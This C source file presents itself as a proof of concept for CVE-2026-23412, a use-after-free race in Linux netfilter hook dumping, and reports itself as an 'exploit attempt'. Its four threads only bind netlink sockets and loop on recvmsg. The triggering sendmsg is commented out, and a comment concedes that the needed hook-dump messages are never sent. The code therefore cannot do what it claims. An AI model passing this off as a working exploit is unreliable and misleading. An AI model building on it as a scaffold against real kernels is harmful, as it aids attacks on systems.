/*
* PoC for CVE-2026-23412
* Conceptual code to trigger the race condition in netfilter hook dumping.
* Compile: gcc -o poc cve-2026-23412.c -lpthread
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#define NETLINK_NETFILTER 12
// Simulate concurrent netlink operations to trigger UaF
void* concurrent_dump(void* arg) {
int sock_fd;
struct sockaddr_nl sa;
char buf[1024];
struct iovec iov = { buf, sizeof(buf) };
struct msghdr msg = { &sa, sizeof(sa), &iov, 1, NULL, 0, 0 };
// Create a Netlink socket
sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
if (sock_fd < 0) {
perror("socket");
return NULL;
}
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
sa.nl_pid = getpid() + (long)arg; // Unique PID per thread
sa.nl_groups = 0;
if (bind(sock_fd, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
perror("bind");
close(sock_fd);
return NULL;
}
// Loop to stress the hook dumping mechanism
// In a real exploit, specific Netlink messages (NFNL_MSG_HOOK_GET) would be sent
for (int i = 0; i < 5000; i++) {
recvmsg(sock_fd, &msg, 0);
// sendmsg(sock_fd, &msg, 0); // Trigger hook dump
}
close(sock_fd);
return NULL;
}
int main() {
pthread_t t1, t2, t3, t4;
printf("Starting PoC for CVE-2026-23412...");
printf("Spawning threads to race on nfnetlink_hooks...");
// Create multiple threads to increase race window likelihood
pthread_create(&t1, NULL, concurrent_dump, (void*)1);
pthread_create(&t2, NULL, concurrent_dump, (void*)2);
pthread_create(&t3, NULL, concurrent_dump, (void*)3);
pthread_create(&t4, NULL, concurrent_dump, (void*)4);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
printf("Exploit attempt finished. Check dmesg for KASAN reports.");
return 0;
}